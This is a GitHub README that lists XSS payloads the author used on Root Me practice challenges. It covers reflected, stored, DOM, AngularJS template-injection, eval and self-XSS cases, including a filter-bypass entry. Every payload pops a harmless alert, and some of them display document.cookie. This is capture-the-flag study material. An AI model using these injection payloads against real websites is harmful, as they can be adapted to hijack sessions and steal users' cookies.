Skip to content

Latest commit

Β 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 

Repository files navigation

πŸ›‘οΈ RootMe XSS Payloads Showcase

This is a documentation of XSS tests I performed on the Root Me platform. The purpose is to demonstrate the existence of XSS vulnerabilities using a simple alert popup, without any malicious exploitation.


πŸ” Reflected XSS

  • πŸ”— Challenge
    πŸ“Œ Payload:
    ' autofocus onfocus=alert(document.cookie) x="

πŸ“ Stored XSS 1

  • πŸ”— Challenge
    πŸ“Œ Payload:
    <img src=x onerror=alert(1)>

πŸ“ Stored XSS 2

  • πŸ”— Challenge
    πŸ“Œ Inject in Cookie "status":
    "><img src=x onerror=alert(1)>

🎭 Stored XSS - Filter Bypass

  • πŸ”— Challenge
    πŸ“Œ Payload (JSFuck style):
    <button autofocus onfocus=(eval)(JSFuck_Payload_Here)></button>

🧭 DOM XSS - Introduction

  • πŸ”— Challenge
    πŸ“Œ Payload:
    '-alert(1)-'

βš™οΈ DOM XSS - AngularJS

  • πŸ”— Challenge
    πŸ“Œ Payload:
    {{constructor.constructor("alert(1)")()}}

πŸ’» DOM XSS - Eval

  • πŸ”— Challenge
    πŸ“Œ Payload:
    1+1+alert`XSS`

πŸ”Ž DOM XSS - Filters Bypass

  • πŸ”— Challenge
    πŸ“Œ Payload:
    '-alert(1)-'

πŸ” Self XSS - DOM Secrets

  • πŸ”— Challenge
    πŸ“Œ Payload:
    document.write('<script>alert(1)</script>');

πŸ•’ Self XSS - Race Condition

  • πŸ”— Challenge
    πŸ“Œ Payload:
    element.innerHTML='<img src=1 onerror=alert(document.domain)>'

⚠️ Notes

  • All payloads are intended for educational purposes only.
  • No actual data was stolen or maliciously used.
  • The goal is to show the existence of the XSS vulnerabilities in a harmless way.

🧠 Further Learning


About

A collection of non-malicious XSS payloads used to demonstrate web vulnerabilities in Root Me challenges. All payloads are safe and trigger harmless alert() popups for educational and ethical hacking purposes only.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors